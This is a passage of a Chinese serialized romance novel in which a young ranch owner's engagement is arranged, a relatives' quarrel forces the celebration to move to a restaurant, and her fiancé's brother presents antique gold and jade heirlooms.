师月江想了想跑去拿了三瓶冷藏的啤酒出来，姚新泉摆了摆手，“我不想喝这个，你给我倒杯酸奶吧，算了我自己去，再切点水果放里面，也算是甜品了。” 师月江拦了一下，“你坐着，我来就行。” 师星野撬开瓶盖喝了一口，刚吃完热的又喝冰的激得他眯起了眼睛，却又觉得爽快。 “我看你俩日子过得好我心里也高兴”，师星野感慨，今年他跟师月江的联系比往年多了许多，哪怕隔着千山万水，在电话里他还是能听出师月江每天日子都过得很痛快。 姚新泉笑着咽下嘴里的肉，“家里留了大哥的屋子，你没事儿就过来玩，钱是赚不完的。” 师星野笑着点头，不管来不来，他心里是高兴的。 他夹了一块儿羊骨头啃了起来，心里却在考虑订婚该给姚新泉什么东西，“喜饼、龙凤烛这些东西你们要吗？我们家没讲究这些，我来之前也没准备，也没跟你商量，你如果”。 他话还没说完姚新泉赶紧摆了摆手，“不用麻烦，太麻烦了，不讲究这些的”，在她看来这不就是两家人一起坐着吃个饭认认人嘛？ 师星野笑着点了点头，也是因为大概知道姚新泉的性格，这些话他才会直接问，要是容易多想的小姑娘他肯定不能直接问，不然人家得以为自己是不想准备了。 这些繁琐的东西她不要，但别的首饰五金之类的还有其他聘礼都得准备，这是基本的礼数。 他也没问两人准备多少合适，他就这么一个弟弟，准备多少都不为过。 师月江端了一大盆酸奶碗过来，里面放了些苹果、梨子，冬天的水果少，他就算想放也没得放。 三人一人挖了一大碗，都觉得吃了油腻的火锅后颇为清爽。 炭火渐弱后，三人也吃得差不多了，也没再添新炭，收拾得差不多后师星野先去洗漱了，得给两个小年轻留点儿私人空间。 姚新泉两人把战场收拾干净后师月江拉着她的手坐在沙发上，很是认真地看着对方的眼睛，“新泉，你别觉得不好意思拒绝大哥，你要是不愿意这么早订婚你就跟我说，我去跟大哥解释，咱们慢慢来也行。” 最开始对方同意的时候他自然是高兴傻了，可吃饭的过程中见姚新泉并没有表现出特别高兴的模样又不禁在想是不是自己兄弟二人把她架在那里让她没别的选择，她不得不走这条路呢？ 他说得很是诚恳，“我不想你不高兴。” 姚新泉的目光忍不住又温柔了些，她摸了摸师月江的脸，靠在了他的怀里，师月江自然地揽住了她。 “咱们不管是订婚还是结婚不都是这样过日子吗？每天睁眼就看到对方，一起做饭一起干活一起面对那些乱七八糟的破事”，想到这她忍不住笑了，真是一脑门的破事儿。 “只是变换了下身份”，想了想她又笑，“你信不信，不少人肯定觉得咱俩早就结婚了！” 他俩住了差不多一年都是分房睡的，从来没有过越轨的行为，但是外人未必会信。 反正说来说去，姚新泉都觉得无论是恋爱也好，订婚也罢，他们还是他们，相处还是一样相处，没什么不愿意的。 师月江紧了紧搂着她的手，将下巴搭在她的头上，“我有什么做的不好的你要告诉我，我肯定会改的。” 姚新泉笑着摇了摇头，两人又聊了一会儿后各自回去歇着了。 第二天姚新泉是被外面扫雪的声音吵醒的，她穿上厚外套出门就看到师星野在扫院子。 姚新泉一愣，“大哥怎么不让月江来扫？” 师星野戴着个雷锋帽，睫毛、眉毛上都是冰渣子，他朝姚新泉笑了笑，“雪停了，他这不就开着铲雪车把路上清一下。” 说着他笑了起来，“你们不是商量好了这周末去你小叔家，让其他亲戚也一起过去吗？月江总得当面去通知才算郑重。” 姚新泉被他笑得有点不好意思了，两人昨天晚上商量订婚的时间，本来师月江还想着要不要看看黄历之类的。 但姚新泉不信这些，择日不如撞日，干脆就这周末吧！ 她小叔小婶都有工作，也只有周末有时间。 至于地点，她倒是想就安排在自己家里，但一来他们过来麻烦，二来如果不在她小叔家办对方肯定会有意见。 要是在北京的话，师星野肯定往饭店里去，但在这边还是听姚新泉他们的意思。 师月江那边感觉自己一晚上都没咋睡着，实在是心情没办法平复，第二天一早他开着铲雪车就下山了，赶在姚晓刚上班之前到了他们家属楼门口。 姚晓刚刚出楼见到面前的“大家伙”后愣了一下，等看到里面出来的人后才笑了起来，“月江你怎么这么一大早就过来了？你这是？” 师月江嘿嘿一笑，姚晓刚觉得奇怪，跟见着什么稀奇景儿了一样忍不住多看了几眼。 “你这孩子，怎么笑得这么”，他抿了抿唇，还是把那个傻字给咽了下去，“你这一大早是咋了？” “那什么，我跟新泉决定订婚了，我大哥也过来了，想问一下周日在小叔家办行不行？” 姚晓刚脸上的笑意唰就落了下来，看向师月江的目光多了几分审视和嫌弃，“新泉同意了？”这小兔崽子从一开始就登堂入室，这才多久又要订婚了？那结婚呢？ 师月江又嘿嘿笑了起来，“新泉同意呢！” 姚晓刚哼了一声，不大高兴地瞪他，“你们才多大年纪就订婚？” 说完后又觉得不对，“新泉才多大年纪？你倒是不小了啊！” 师月江尴尬地笑了笑，他确实年长姚新泉几岁。 “你”，他想说什么但咽了下去，没忍住又瞪了他一眼，“周日早点过来，你哥什么时候来的？要不要来家里坐坐？” 他大哥走得早，虽说新泉那孩子有主见，他平时也帮不上孩子什么，但是这种终身大事他肯定是要出面的。 他也实在是不好意思舔着脸去充长辈的架子，他确实不高兴自个儿大侄女就这样订婚，可真让他挑师月江的不好他其实也不怎么挑的出来。 这孩子长相、谈吐、性格各方面都不错，至于工作，姚新泉这种情况，如果另一半的事业比较忙反而不太好，两人都忙，家谁顾？ 天天见不着几分钟，感情能好才怪了！ 师月江这样的，他能跟姚新泉两人一起经营牧场，一起干事业也挺好的。 姚新泉那个性格，他也不用担心将来被欺负。再说了，靠的也近，他们这些长辈也能帮衬一些，挺好的。 “行了，我这知道了，你去跟她小姑和小姨那边说一下吧！” 师月江点了点头，“谢谢小叔，那到时候麻烦你了，菜什么的我提前送过来，得麻烦小叔和小婶了。” 姚晓刚摆了摆手，实在不想见到他，把他往外轰，“行了行了赶紧忙去吧，我也要去上课了。” 师月江笑着告辞，姚晓刚叹了口气，算了，孩子高兴就好。 200-210 第201章 时间转眼就到了周日,一大早师月江就爬起来去了师星野的房间，师星野靠在床上无奈地看着弟弟举着两套衬衣问自己，“哪套好看？” 师星野打了个呵欠,随手指了藏蓝色的那套,“这套吧！” 师月江将信将疑地看了看两套衬衣,“黑色是不是更显稳重？” 师星野…… “那就黑色”。 “黑色是不是太沉重了一点？今天毕竟是个喜庆的日子？” 师星野…… “请出去。” 师月江讪笑着退出了屋子,师星野被他气得也没了睡意。 他把自己准备的东西翻了出来,订婚要给女方的东西他没让师月江插手,师月江有什么他比对方更清楚，他给姚新泉的话不过是左手倒右手，没什么意思，还是自己准备吧。 姚新泉也专门收拾了一下,穿了件浅粉色的毛衣裙,她少穿浅色,倒不是有什么偏见，主要是干活不方便，稍不注意就脏了。 本来没觉得有什么,但是对上师月江 那惊艳的目光后姚新泉也多了几分不好意思。 吃过早饭后,师星野拎着一个皮箱，全程没让两人插手,坐上了后座,师月江开车。 因为路上的雪已经铲的差不多了,再加上还专门换了防滑的车轮,倒不用担心会出意外，至少目前出门还是方便的。 另一边，姚晓洁一家和苏永华一家也来的很早，张运秋跟姚晓刚很熟悉,来了后也不用人招呼自己就进了厨房，看到家里啥都不缺，肉菜都有他还挺满意的，调侃道，“晓刚你这次终于大方一回了啊！”他也没别的意思，只是姚晓刚从小就是个俭省的性子，给妻女花钱还好，给自己花钱的时候从来都扣扣嗖嗖的。 姚晓刚苦笑，“都是月江送来的。” 张运秋这下就不高兴了，他性子直，想说什么就说什么，“你说你这人也是，你要不方便准备你跟我们说啊！我或者你妹妹不都行？订婚又是在咱们家里第一次见男方家长，结果买菜什么的你还让男方买菜，你可真是！” 要他说姚晓刚就是读书读傻了，真是一点人情世故都不懂。他虽然不是很确定师月江家里条件到底好到什么地步，但是好那是一定的。 别觉得他跟姚晓洁好像也是做生意的，是又怎么样？能一样吗？他们就是做点小买卖，开个小店维持生计罢了。 也许在县里算是条件不错了，但也没见他们能买什么贵价的东西啊！ 他媳妇儿倒是有点金首饰，但也都是那种小链子或者金戒指之类的，说不值钱倒也值点钱，但也就那样。 可看人家师月江的哥哥，两台大哥大加起来到手最起码五万块了，至于那辆车，就算是国产的基础配置的车，到手最起码□□万得有了，那可是新车啊！ 还只是恋爱阶段，这加起来给孩子可就给了十万块了！ 虽然说现在已经不是万元户就能上报纸的时代了，但有多少人家里能有一万块存款？ 他舍得花这个钱，只能说这个钱对他来说完全没有任何压力，那人家啥条件？ 本来他就发愁要是人家瞧不上自家条件怎么办，结果这姚晓刚倒好，人家上门来菜还是人家买的！ 家里就缺这点儿肉菜钱啊？没钱跟他说啊！他是买不起皮卡车，但是这点肉、菜还是不放在眼里的吧！ 姚晓刚还没说话，姚晓洁听到动静后过来也没忍住无语地瞪了他一眼，“二哥你可真是的！” 姚晓刚苦笑，还没等她解释，肖美燕不乐意了，“你们别说得好像是我们不舍得花钱一样！这些东西是人家小师非要送过来的，又不是我们硬问人家要的？你们要找事儿你们去找小师啊？你找我们家老姚干嘛？” “再说了，人家不吭不响的突然上门通知我们要在我们家办订婚我们也没说什么”，不等她说完姚晓刚脸色就变了，“美燕！” 肖美燕也觉得不对了，但话已经说出口了，对上张运秋那似笑非笑的表情她脸上僵了僵，半晌还是哼了一声回屋了。 “我大哥真是多余给你找媳妇儿，就应该让你打一辈子光棍！”姚晓洁气得不行，指着姚晓刚骂，“你搞搞清楚，大哥就这么一个闺女，当初大哥多宝贝她，现在大哥人走了，你媳妇儿就这样作践她是吧？” “晓洁！”姚晓刚无奈地看了妹妹一眼，“行了，你也别多说了，孩子们马上就过来了，都消停点吧！” “晓洁，今天是新泉的好日子，你消消气消消气”，邓建发过来哄人，姚晓洁一把挥开他的手，但到底没再说什么。 张运秋冷笑一声也不再说话了，只是自顾自地做饭，一个眼神都不给姚晓刚。 姚晓刚目光对上苏永华后对方也沉默了一会儿，“老姚啊，我姐在世的时候对你们可不薄，你们做事情讲讲良心。” “苏阿姨，我爸怎么了你们一个个地非要这么指责他？” 听到这个声音姚晓刚的眉头彻底皱了起来，姚晓洁更是跳脚，“姚静怡！谁允许你这样跟长辈说话的？大人说话有你孩子插嘴的地方吗？”二哥家这是什么家教啊！一个当老师的把自己孩子教成这样！ 姚静怡从来都不怕姚晓刚的，她知道她爸最是个好性子了，不骂人不打人，在学校的时候也是一样，从来没跟学生发火过，所以她完全不怕，也不想理会姚晓洁。 不仅不怕，她还理直气壮地盯着苏永华，表情很是倔强，“本来就是，我说得哪里不对吗？都不是一家人了，总不能说因为我爸是叔叔，她就可以商量都不商量突然上门就说要在我家办订婚吧？我家提供场地，我们还什么都不能去干，就在家里等着她上门，我们是欠了她的，我们家是饭馆吗？她自己非要把菜买过来，又不是我们逼的？再说了，她订婚，花她的钱买菜有什么问题吗？” 苏永华火了，可不等她说话，火爆脾气的姚晓一拍桌子站了起来，“姚静怡，你是不是以为分家了我这个当姑姑的就不敢收拾你了？” “还有你，姚晓刚，你是黑了心肝还是没了良心啊？你哥死了才一年，你就让人这么说他闺女？你是真不怕大哥晚上来找你啊！” 她从小在家里就没吃过亏，虽然有点怕姚爸，但是姚爸疼这个妹妹，不是特别严重的错误，他连大声朝妹妹说话的次数都少，她在娘家的时候脾气大起来能指着姚晓刚的鼻子骂！ 后来出嫁受委屈了，但现在日子又过了起来，这一年的时间足够她又成了年轻时候那个一点委屈不能受的姚晓洁，哪里能任一个小辈这样说话？ “姚晓刚，我就问问，你管不管！” “管什么管？这可是我家，是我爸我妈的家，你在我家欺负我爸我妈，现在还想打我是吧，你可真行”，她也不知道从哪里学来的怪模样，上下不屑地扫视着姚晓洁，“你搞搞清楚，这是我们家的房子，该你们滚出去才是吧！” 姚晓洁本来真不愿意直接对上这个侄女，又不是自己亲闺女，就算她真说要动手，可这姑姑打外甥女，这说出去自己都不占理，不过就图个嘴快罢了！ 可这下她忍不了了，姚晓刚跟死了一样，就在那皱着眉不赞同地看着姚静怡。 要她说，这种时候，难道不应该上去抽一顿吗？ 她是读书不行，教孩子还有自己做人什么的自认也就是个普通水平，但她也知道，哪里能这样惯孩子？ 刚想说什么就听见外面传来敲门声，“我们来的是不是不是时候？” 众人一 愣，姚新泉他们怎么来的这么快？ 对上师星野的目光后姚晓刚脸唰得就红了，姚新泉根本懒得再说什么了，她看向姚晓洁又看了看苏永华和张运秋，“姑姑姑父还有小姨姨父，今天换个地儿办吧，就吃顿家常便饭就行！” 师星野捅了师月江一下，师月江赶忙道，“新泉，你跟大家商量一下，我跟大哥先去定个饭店”，说完两人就下楼了，总得给她点儿时间处理自家得事情，他们在这反而不太好。 姚新泉嗯了一声，等两人走后关上了门，估计是因为屋里太热了想透透气，所以他们过来得时候屋里门没关，他们这才听到了全部。 “小叔，我爸妈去世之后我记得我好像没占你们什么便宜吧？”姚新泉似笑非笑地看着姚晓刚。 姚晓刚一脸愧疚，“新泉，今天的事情是我们不对，让你在小师和他哥哥面前丢脸了，是我不好，我没管教好孩子。” 他满心苦涩，因为姚静怡是个女孩儿，又已经进入青春期了，他很多时候不知道怎么去管教这个孩子，怕说重了对孩子造成太大的伤害。 可没想到这个孩子如今变得这么不可理喻！ “小叔你先回答我的问题，我没占你什么便宜吧？” 姚晓刚一脸苦涩地摇头，“没有，不仅没有，你夏天给咱们送菜，冬天给家里送肉，是我们占你便宜了。” 姚静怡脸色变了变，似乎是有些不可置信，“可是”。 不等她说完，姚新泉问在一旁黑着脸的张新康，“新康，你说说，我为什么要在小叔家办订婚。” 张新康在一旁憋了一肚子气，要不是对面也算是长辈，他早就想骂人了。 他恨恨地瞪了姚静怡一眼，“那自然是有原因的，我跟某些蠢货不一样，我可是有脑子，分得清是非黑白的。” 第202章 “大姨跟姨父去世后姐姐的男性直系长辈就只有姚叔一个了,自古以来家里这种订婚结婚等重要的事情肯定是要家里男性长辈出面的，如果不让姚叔出面，我爸倒是乐意,但那时候丢人的可不是我姐,而是姚叔！” 他又翻了个白眼,真是的,瞧不起谁啊,当谁稀罕一样！ 要他说,完全可以在他家办啊！他跟他爸妈不知道多欢迎呢！ 可他妈妈说了，要是在他家办，那丢的是姚家的人！ “我姐和两位哥哥是给姚叔面子！至于那些菜，我哥他们是不想给家里增加负担,不想你们为了他们多花钱！” 他哼了两声不再说话了,只是走到了姚新泉的身后,把给她撑腰的意思表达得很明确了。 姚新泉笑了笑，她看都没看姚静怡，她跟这位堂妹没啥感情。 感情本来就是相处出来得,而不是说有那么一层血缘关系就一定能感情有多深。 像是张新康,他逢年过节都要去家里待一段时间，有这种相处的机会,他们姐弟感情自然是好。 而且张家也没别的亲人了,张运秋自己也希望孩子能跟姚新泉走得近一点,将来他们老的都走了,孩子不至于在世上孤立无援的。 姚新泉也想过，如果张运秋有别的家人，张新康有别的同龄亲戚，他们未必会像如今一样。 姚静怡就是,她姥姥家就是本县的，家里舅舅姨姨一大堆，晚辈也多，她是女孩子，本身就跟妈妈更亲近些，自然也跟妈妈这边的亲戚走得近，和姚新泉也就逢年过节见一见，不过面子情罢了。 所以她其实一点都没生气，生什么气呢？如果今天是张新康说得这些话，她肯定气得想抽他，觉得这么多年白疼他了。 但她跟姚静怡本身也没多深的感情啊！ “行了，小叔，今天的情况已经这样了，不方便在你家继续待了，我带小姨小姑他们去饭店，你去吗？” 姚晓刚顶多是个优柔寡断，管不住自己孩子，他本身对姚新泉怎么样，姚新泉自己心里清楚，以后也没必要跟那母女俩来往了就成，跟姚晓刚倒没必要闹得这么僵。 姚晓刚满脸羞愧，可他还是点了点头，“我跟你们去”，说着便往外走。 “姚晓刚，你要是走，你今天就别回来了！” 肖美燕突然拉开卧室的门喊了起来，姚晓刚顿了一下后头也不回地出门了。 他性子确实温吞，或者说是窝囊，平时家里什么时候都不由他做主他也不生气，他怎样都可以。 但今天不行，姚新泉的订婚，他哥要是还在，不知道得多高兴！ 张新康朝姚静怡露出一个得意的笑容，拉着他爸妈往外跑，姚晓洁哼了一声也拉着老公孩子出门。 众人刚走到门口就听到姚静怡迫不及待地问，“妈，你不是说那些肉都是姥姥家给的吗？还说我堂姐养了那么多羊就知道给咱们送点烂菜叶子？” 姚晓刚听到这话瞬间黑了脸，他说呢！ 怪不得每次在家里说起姚新泉的羊时对方就转移话题，怪不得呢！怪不得呢！ 他想冲回去理论，可想到今天时什么日子又顿住了，算了，等回去之后…… 张运秋满脸嫌弃，这可真是，窝囊成这样…… 几人刚下楼就见楼下停着三辆车，不少人都在打量着车，小区里哪里出现过这么多私家车啊！ 那辆皮卡他们认识，后面的小轿车呢？ 师月江笑着下车，“新泉坐我这辆，小姑一家跟小叔坐一辆，小姨一家坐一辆，先去吃饭吧！” 几人上车后，师月江一路上都在偷瞄姚新泉的表情，看得她心里好笑，“行了行了，我没生气，就是觉得有点丢人！” 可不是丢人嘛！平时怎么样都好说，在这种大日子里跑出来给自己添堵，还是在师月江和师星野面前，怄得慌！ 师月江忍不住笑，“这算什么？我爸妈还在世呢，但你看我让他们来了吗？他们来了，你要是见到了，你就知道你家那不懂事的小孩儿都不算是事儿！” 他满脸嫌弃，“你知道我爸我妈多大了吗？” 姚新泉搞不懂他怎么问这个，但算了算两人的年龄，“五十出头？” 以前人结婚早，十七八岁当爸妈的比比皆是，孩子二十六七岁，爸妈五十出头已经算年纪大的了。 师月江摇头，“我爸都六十了，我妈五十八，他们生我们哥俩生的晚。” “那你知道他们对象多大吗？” 姚新泉愣了一下，“你不会告诉我二十来岁吧？” 师月江叹气，脸上又是嫌恶又是憋屈，“或者不能叫对象，只能说现在跟他们的人，跟我妈的男的刚21岁，跟我爸的那个女的19。” 听他哥说这个的时候，他隔夜饭都要吐出来了好吧？ 六十岁的男人身上都得起褶子了，而且他爸还是那么个不自爱的老东西，结果现在找了个19的大姑娘，比他们都小！ 他怎么能不觉得恶心！ 姚新泉一言难尽地看着他，“那我觉得如果你爸妈来了的话，还是你爸妈比较丢人。” 师月江先是一愣随即哈哈大笑，可不是嘛，丢人死了！他哥没提他更不会提这一茬事情了。 他们县里饭馆有好几个，但是稍微上档次一点的不算太多，师星野去了最好的那家，不算太远，等姚新泉下车的时候，后面几车的人都在观察她的表情，张新康还跑了过来。 特别是姚晓刚，一脸担心，生怕因为自家的破事儿让小师对新泉生气，那自己罪过可就大了。 可谁能想到姚新泉不仅笑眯眯地下车，师月江更是亲密地牵着她的手往前走。 没走两步就看到师星野站在门口迎接几人。 师星野快步上前分别跟几人握手并做自我介绍， “各位长辈好，我是月江的大哥我叫师星野，外面冷，大家快先屋里坐。” 几人都是第一次见师星野，也不知道他是个什么性子，但是至少现在看起来人家是个体面人，倒说不上放心，但至少不用担心当面闹得不好看。 几人进了屋后坐下没两分钟就开始上菜了，这家饭馆是学人家坐私房菜，环境还可以，师星野说不上满意，但至少不算太拉跨。 等菜上的差不多了，师月江把提前放在车上的酒开了要给张运秋他们倒。 张运秋笑着拦了一下，“今天是好日子，也是你俩的大日子，咱们家男人别看都是北方人，但没谁能喝酒的，我最多一杯半白的，你姑父和小叔半杯就差不多倒了，白的咱就不喝了，扫兴。” 大事儿还没谈好呢，虽然说他觉得自己酒品还凑活，但是这种时候醉的人事不省也不太好吧！ 师星野示意师月江坐下，他开了饮料给几位长辈倒，“那些酒到时候长辈们都带回去，不管怎么处置也是我们晚辈的一份心意，今天这大喜的日子，咱们喝饮料一样的！” 姚晓刚和邓建发都是不会说话的，场子主要还是女同志还有张运秋在控，但总觉得有点不尴不尬的。 张新康坐在姚新泉旁边，他拿胳膊怼了怼姚新泉，“姐你别生气啊，姚静怡就是个傻子，她还以为自己厉害得不行呢！” 姚静怡比他高一届，但大家都是一个学校的，所以知道对方学习也就中不溜，两人的学校也是姚新泉的母校，姚静怡的不少老师当初还教过姚新泉，“我听过他们说让姚静怡跟你学，姚静怡就不高兴了。” 张新康有时候都觉得可笑，有什么不能学的？他们学校高考每年能有几个大学生？又有几个是考出新省的？五六年都不见得有一个！ 这种情况下，老师又知道两人是堂姐妹，那提一句让她学学自己的姐姐，有什么问题吗？ “她就觉得自己厉害，觉得你回来开牧场没出息，觉得姚叔偏心你”，张新康很是不以为然，大姨和姨父去世了，家里剩下的长辈们哪个没被他们两人照顾过？要是不关照他姐那就是没良心！ 至于偏心，简直可笑，在自己孩子和侄女或者外甥女之间如果一定姚做出选择的话，那肯定是选自己孩子啊！ 像他们家，他爸他妈嘴上天天念叨他姐这也好那也好，可他一点都不怀疑在他们心里自己是最重要的！ 也不知道姚静怡在嫉妒个什么！ “你别看姚叔当老师当的很厉害，人家都想找他补课，但姚静怡和她妈都瞧不上姚叔”，张新康小声嘀咕，“她瞧不上她爸，自然也瞧不上她爸的亲戚！所以姐你别生气更别伤心，她那是伤害她爸，更是丢她爸的人，可算不上针对你的！” 他终于把想说的话说了出来，张新康松了一口气，安慰人可太难了啊！ 师月江给喝不惯饮料的姚晓刚倒茶时走过这边听到了些他的话，觉得这孩子是真懂事，路过张新康忍不住揉了下对方的头发，张新康不满地瞪他。 他眼珠子转了转，“师大哥，你看月江哥，他才刚要和我姐订婚他就欺负我！” 说完他扭头看向师月江，朝他龇牙，能收拾你的人来了，怕吗？ 姚新泉失笑，在表弟的头上拍了拍，“没大没小！” 第203章 师星野之前了解过姚新泉的家庭情况,为了避免以后姚新泉知道自己调查过她心里不舒服，所以师星野也只是侧面了解了一下，知道她两位长辈是做小生意的,还有一位是老师,没什么特殊情况,便也没觉得有什么。 可今天到底还是留下了不好的印象,他不会因此觉得姚新泉不好,但确实是不太喜欢她的亲戚,也担心日后师月江生活在这里会不会被对方欺负。 但聊了一会儿后他便放心了，除了那么一两个脑子有毛病的以外，别的确实都还不错。她那个小姨夫算是个活泛人，但是人还是不错的,除此之外都是老实人。 此时见张新康开玩笑便也笑着附和,“大哥在这儿的时候要是月江欺负你,你就跟我说，等大哥走了之后就跟你姐讲，你姐能管住他。” 师月江有些无奈地看向大哥,他哪里需要被“管”了？ 这话也像是给了其他人一个态度,他不仅没有因为刚才的事情对姚新泉有什么意见，反而依旧很看重姚新泉。 “师家大哥”,姚晓洁被这称呼搞得心里怪别扭的,师星野听了也觉得好笑,“小姑,我之后就跟着新泉和月江叫你们了，都是一家人，几位长辈直接叫我名字就行，不用那么客气的。” 姚晓洁条件反射看向姚晓刚,可没等姚晓刚反应她又看向张运秋，算了，二哥不靠谱，还是大嫂这个妹夫靠谱。 张运秋心里好笑，他跟姚晓洁关系不算特别好，主要是觉得大姐这个小姑子没什么脑子，但至少不是个坏人，便轻轻朝她点了点头。 姚晓洁清了清嗓子试探性地道，“星野啊”，这喊完自己都怪尴尬的，不是她要在一个小辈儿面前丢份儿，主要是这个小师的大哥看起来真不像是一般人啊！ 他个头比师月江稍微矮了一些，外面套了一件黑色的棉袄，进屋后脱掉外套，里面是一件黑色开衫毛衣和笔挺的黑裤子，装扮其实很简单，但看上去就不是一般人，那什么，气质不一样。 这走在路上，谁都能看出来这肯定不是他们本地的人。 跟这种人相处，她有点打怵，但大哥大嫂没了，姓姚的就这么几个人，她二哥早晨又闹了这么一出，她肯定得顶上去啊！ “星野啊，你父母是什么情况呢？今天这个日子也比较重要了，他们是不方便到场还是怎么样？” 要说对师月江有什么不满的地方，之前过去的就不提了，但至少现在，她对师月江父母没来这件事情确实很有意见，这么大的事情，家里长辈怎么能不出面呢！ 姚新泉有些懊恼，她没想到两人进展这么快，之前也没跟家里其他人透露师月江的情况。 之前听师月江说了他爸妈的事情后，也大概知道了这兄弟俩对他们父母的态度，不免有些担心师星野不高兴。 师星野只是笑了笑，“小姑是这样的，我们家的情况可能月江还没跟你们说，我父母不管事，家里的公司还有资产都是我和月江平分由我代管。” “他们比较向往自由，如今都在国外，我每年会给他们支出一笔钱供养两位老人，他们 轻易不会回国。将来就算回国了，就算两位老人需要养老了，这些事情全部由我来处理，月江只要和新泉一起好好把日子过起来就行，我父母那里等闲不会和新泉见面的，也不会打扰他们的生活。” 这话一出众人不免面面相觑，什么意思？活着却永远见不到面？ 张运秋眉头先是皱了起来，他想了想还是道，“说起来这是你们的家事我们不应该多说”，他话音一转，“但到底涉及到新泉，我不免多问两句，新泉父母虽然走得早，我们也都是没出息的，但疼爱这个孩子的心不作假。我们家确实跟你们没法儿比，也没办法像你一样给两个孩子买车买这买那，但新泉是好孩子，我们也是清清白白的人家。新泉和月江是自由恋爱，也是经过你这个大家长同意后两人才走到今天这一步的，我只看你的态度。” 张运秋表情很是严肃，师星野也一脸正色，“姨父您继续说。” “月江这个孩子我们是真喜欢，一表人才，性格各方面都好，你也是个明事理的，将来不管是谁，不管是哪一个，都不能对我们新泉还有他们的婚姻指手画脚，不然我老张是不依的。” “我张运秋是个没什么出息的，但我能有今天也是靠着我大姐还有姐夫支持的，他们走得早，那新泉这个孩子就是我跟她小姨自己的孩子。将来不管是谁如果对新泉胡说八道或者欺负他，我张运秋这一关就过不去！” 苏永华用力点头，她大姐和姐夫当年拖着他们三个拖油瓶过日子，多少人说他们傻！ 什么人走茶凉这种话在她这里是不存在的，那是她亲姐！是她亲外甥女！ 师星野收起了脸上的笑意，他很认真地点头，“我们父母那边如果将来有任何事情都不需要月江和新泉出面，他们只要过好自己地日子就行。” 几人这才放下心来。 姚晓洁忍不住好奇，“那国外就那么好啊，你爸妈就那叫什么，什么乐不思蜀对吧？” 师星野笑着摇了摇头，“咱们中国人的根儿就在这里，国外再好那也不是自己国家，况且咱们这两年也在慢慢发展，将来肯定会越来越好的！” “至于我父母”，他停顿了一下，“他们的想法和意见都不重要，他们也不太方便回来。” 回来做什么？一身的毛病还是不要给祖国增加负担了。 姚晓刚用胳膊怼了怼妹妹，示意她别再问了，人家摆明了不想提。 而且认识师月江也快一年了，从没从对方嘴里听过一句说父母的话，反倒是经常提到他哥，这家里做主的人是谁一目了然了。 师星野招呼着众人吃饭，等饭吃的差不多后他这才把自己之前一直带在身边的箱子提了过来，等服务员收掉桌子换上茶水后把箱子放在了桌子上，打了开来。 众人见到箱子里的物件儿后都屏住了呼吸。 姚晓刚坐在最靠近师星野的位置上，他看得最清楚，眼睛都瞪大了几分。 “我读书的时候去博物馆参观过，这好像不是才打的金饰吧？像是古董？” 师星野笑着点了点头，“这套是我们家祖上传下来的，当年弄丢了，我辗转找了回来，是老物件儿了”，他笑着看向姚新泉，“这都是人家戴过的，你收着玩儿就行，正经戴的话到时候家里给你打新的。” 姚新泉有点不好意思想拒绝来着，这东西看起来太贵了，但师月江笑着摇了摇头，“大哥愿意给你，那你就收下，这是大哥的心意。” 姚新泉的目光落在了这一套金饰上。 这套金饰确实和现在外面店里看到的不太一样，泛着暗金色，像是凝固的夕阳余晖。 她大概数了一下应该是有三四十件金器层层叠叠地卧在朱红绸缎上，每一件都带着岁月赋予它们的温润光泽，不似新金那般刺目张扬，而是内敛的、厚重的、深沉的。 其中最夺目的当属那顶九凤衔珠冠，九只金凤姿态各异，或昂首振翅，或低颈衔珠，姚新泉看着那层层叠叠的凤羽，只觉得每一片都錾刻得纤毫毕现，竟让她觉得那凤凰似乎马上便要振翅高飞了一般！ 凤喙垂着九串珍珠，颗颗圆润，虽不像新珠子那般亮白，反而因年岁久远而泛黄，却更添了几分古意。 冠身是用累丝工艺编织出繁复的云纹，金丝细如发丝，缠绕交错，仿佛浮动的云雾托举着展翅的凤凰。 缠枝牡丹项圈沉甸甸地压在冠下，金丝盘绕成盛放的牡丹，花瓣层层舒展。内里的花蕊则是以细小的金珠点缀，师星野把箱子往这边推，轻轻晃动时，金珠颤动更添了几分鲜活劲儿。 项圈边缘錾刻着连绵不断的卷草纹，纹路细密如发。 姚新泉忍不住轻轻抚摸着纹路，感受着指尖下微微的凹凸起伏，她似乎能看到当初制作的匠人是如何一笔一笔刻下的一般。 再然后是那臂钏，她数了一下有十二对。这臂钏依次排列，大小不一，却都透着精工细琢的华贵。最小的那对不过大概两三厘米宽，表面密布炸珠纹，金粟粒粒分明，在光下闪烁如繁星。 而最大的那对錾刻着缠枝莲纹，莲瓣饱满，花叶舒展，边缘处微微翘起，似被风吹拂，栩栩如生。 箱子里还固定着十来枚戒指，制作得也很是精巧绝伦。戒面或嵌宝石，或纯金雕花，每一枚都独具匠心。 她轻轻拿起一枚，这枚戒指得戒面錾刻着盘绕的螭龙，龙鳞细密如织，龙睛以两粒极小的黑玛瑙镶嵌，在光下幽幽发亮。 师月江拿起另一枚，这枚戒指得戒面是一朵盛放的莲花，花瓣薄如蝉翼，层层叠叠，仿佛轻轻一碰便会颤动。他拿着在姚新泉手上比划，笑着道，“好看！” 第204章 姚新泉笑着把戒指放了回去,师星野笑着拨动了箱子的某处机关，随后将放有金饰的这一层推开，下面竟还有一层夹层。 师月江探头看去,眼中多了两分惊叹,“哥你竟然连这一套都找到了？” 师星野点头,示意姚新泉也看一看。 这第二层是一套玉饰,姚新泉不太懂玉,看颜色好像大多是什么羊脂白玉？羊脂白玉其实就是和田玉里比较珍贵的一种,因为地理位置原因，她也见过不少和田玉，但跟这一套绝对是天上地下的差别！ 可真好看啊！ 这套玉饰静静躺在黑色锦缎上，数量不算多,至少没金器那么多,她数了一下有十二件。 这十二件玉器在幽暗的匣内泛着温润的柔光,每件玉器表面都覆着一层莹润的包浆，在光线流转间呈现出微妙的光影变化，众人说不上哪里好,但就是知道,这绝对是难得的好玉。 其中最引人注目的是一对羊脂白玉镯，玉质纯净得几乎透明,在灯光下仿佛都能看见内部如云雾般流动的天然纹理。镯身被打磨得圆融光滑,内壁同样温润。 师月江取下了其中一只玉镯递给姚新泉,姚新泉小心接过后隐约觉得内壁好像有字。 她凑近了看,内壁刻着几个小字，她轻声读了出来，“万历八年”。 姚晓刚嘶了一声，“明朝的东西啊！” 老天爷,甭管它们姚家还是张家亦或者郑家、肖家之类的那基本上都是世代贫农，别说什么明朝的东西了，能有个民国的那都算宝贝了！ 师星野微微一笑，不过到底还是解释了两句，“这也不算是我们家祖辈从明朝留下的，只是早年家里从外面收的，留作了传家宝，说是要传给儿媳妇的。” 姚新泉把镯子小心放了回去，看向师星野，“大哥，这两套都是吗？” 师星野点头。 